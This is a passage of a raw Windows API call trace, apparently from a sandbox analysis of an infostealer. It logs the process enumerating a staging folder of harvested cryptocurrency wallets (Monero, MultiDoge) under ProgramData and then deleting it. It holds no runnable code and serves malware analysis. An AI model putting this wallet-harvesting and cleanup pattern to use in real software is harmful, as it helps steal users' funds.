[0149.539] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.539] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.539] FindNextFileW (in: hFindFile=0x882fb0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9309c4, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e9309c4, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e9309c4, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.539] FindClose (in: hFindFile=0x882fb0 | out: hFindFile=0x882fb0) returned 1 [0149.540] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23698f8 [0149.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.540] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba7c8 [0149.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x32ba7c8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", lpUsedDefaultChar=0x0) returned 62 [0149.540] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba6f0 [0149.540] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba7c8 | out: hHeap=0x2360000) returned 1 [0149.540] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23698f8 | out: hHeap=0x2360000) returned 1 [0149.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.540] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366908 [0149.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366908, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.540] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366908 | out: hHeap=0x2360000) returned 1 [0149.540] PathMatchSpecW (pszFile="Monero", pszSpec="*.*") returned 1 [0149.540] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2368f68 [0149.540] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340510 [0149.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.540] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba738 [0149.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", cchWideChar=62, lpMultiByteStr=0x32ba738, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", lpUsedDefaultChar=0x0) returned 62 [0149.541] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba8a0 [0149.541] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba738 | out: hHeap=0x2360000) returned 1 [0149.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Monero", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.541] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac78 [0149.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Monero", cchWideChar=16, lpMultiByteStr=0x236ac78, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Monero", lpUsedDefaultChar=0x0) returned 16 [0149.541] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac78 | out: hHeap=0x2360000) returned 1 [0149.541] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\monero"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.541] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8a0 | out: hHeap=0x2360000) returned 1 [0149.541] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340510 | out: hHeap=0x2360000) returned 1 [0149.541] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368f68 | out: hHeap=0x2360000) returned 1 [0149.541] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\monero")) returned 0 [0149.541] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6f0 | out: hHeap=0x2360000) returned 1 [0149.541] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90fac7, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90fac7, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90fac7, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MultiDoge", cAlternateFileName="MULTID~1")) returned 1 [0149.541] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.541] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.541] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="MultiDoge" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" [0149.541] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.541] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.542] lstrcatW (in: lpString1="\\Wallets\\", lpString2="MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0149.542] lstrcmpW (lpString1="MultiDoge", lpString2=".") returned 1 [0149.542] lstrcmpW (lpString1="MultiDoge", lpString2="..") returned 1 [0149.542] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" [0149.542] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\*.*" [0149.542] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90fac7, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90fac7, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90fac7, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882cf0 [0149.542] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" [0149.542] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\" [0149.542] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\." [0149.542] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0149.542] lstrcatW (in: lpString1="\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="\\Wallets\\MultiDoge\\") returned="\\Wallets\\MultiDoge\\" [0149.542] lstrcatW (in: lpString1="\\Wallets\\MultiDoge\\", lpString2="." | out: lpString1="\\Wallets\\MultiDoge\\.") returned="\\Wallets\\MultiDoge\\." [0149.542] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.542] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90fac7, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90fac7, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90fac7, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.542] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" [0149.542] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\" [0149.542] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge\\.." [0149.543] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0149.543] lstrcatW (in: lpString1="\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="\\Wallets\\MultiDoge\\") returned="\\Wallets\\MultiDoge\\" [0149.543] lstrcatW (in: lpString1="\\Wallets\\MultiDoge\\", lpString2=".." | out: lpString1="\\Wallets\\MultiDoge\\..") returned="\\Wallets\\MultiDoge\\.." [0149.543] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.543] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.543] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90fac7, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90fac7, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90fac7, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.543] FindClose (in: hFindFile=0x882cf0 | out: hFindFile=0x882cf0) returned 1 [0149.543] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0149.543] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x41) returned 0x32bb428 [0149.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x32bb428, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", lpUsedDefaultChar=0x0) returned 65 [0149.543] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e08 [0149.543] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb428 | out: hHeap=0x2360000) returned 1 [0149.543] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.543] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23668f8 [0149.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x23668f8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.543] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668f8 | out: hHeap=0x2360000) returned 1 [0149.544] PathMatchSpecW (pszFile="MultiDoge", pszSpec="*.*") returned 1 [0149.544] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.544] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400e0 [0149.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0149.544] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x41) returned 0x32bb888 [0149.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", cchWideChar=65, lpMultiByteStr=0x32bb888, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge", lpUsedDefaultChar=0x0) returned 65 [0149.544] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23629e8 [0149.544] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb888 | out: hHeap=0x2360000) returned 1 [0149.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\MultiDoge", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0149.544] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x13) returned 0x3340c80 [0149.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\MultiDoge", cchWideChar=19, lpMultiByteStr=0x3340c80, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\MultiDoge", lpUsedDefaultChar=0x0) returned 19 [0149.544] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0149.544] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0149.544] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\multidoge"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.544] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0149.544] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23629e8 | out: hHeap=0x2360000) returned 1 [0149.544] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400e0 | out: hHeap=0x2360000) returned 1 [0149.544] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.544] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\MultiDoge" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\multidoge")) returned 0 [0149.545] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0149.545] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90fac7, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90fac7, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90fac7, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MultiDoge", cAlternateFileName="MULTID~1")) returned 0 [0149.545] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.545] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0149.545] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32baee0 [0149.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x32baee0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpUsedDefaultChar=0x0) returned 55 [0149.545] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4f8 [0149.545] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baee0 | out: hHeap=0x2360000) returned 1 [0149.545] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.545] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23669c8 [0149.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x23669c8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.545] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669c8 | out: hHeap=0x2360000) returned 1 [0149.545] PathMatchSpecW (pszFile="Wallets", pszSpec="*.*") returned 1 [0149.545] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.545] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0149.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0149.546] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32bb0e0 [0149.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", cchWideChar=55, lpMultiByteStr=0x32bb0e0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpUsedDefaultChar=0x0) returned 55 [0149.546] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba8e8 [0149.546] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb0e0 | out: hHeap=0x2360000) returned 1 [0149.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.546] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9) returned 0x236ac78 [0149.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets", cchWideChar=9, lpMultiByteStr=0x236ac78, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets", lpUsedDefaultChar=0x0) returned 9 [0149.546] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac78 | out: hHeap=0x2360000) returned 1 [0149.546] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.546] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8e8 | out: hHeap=0x2360000) returned 1 [0149.546] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0149.546] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.546] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets")) returned 0 [0149.546] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4f8 | out: hHeap=0x2360000) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b782d35, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b782d35, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b782d35, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallets", cAlternateFileName="")) returned 0 [0149.546] FindClose (in: hFindFile=0x8825b0 | out: hFindFile=0x8825b0) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2367968 | out: hHeap=0x2360000) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2363368 | out: hHeap=0x2360000) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac60 | out: hHeap=0x2360000) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23679f8 | out: hHeap=0x2360000) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aba0 | out: hHeap=0x2360000) returned 1 [0149.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2367d60 | out: hHeap=0x2360000) returned 1 [0149.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, 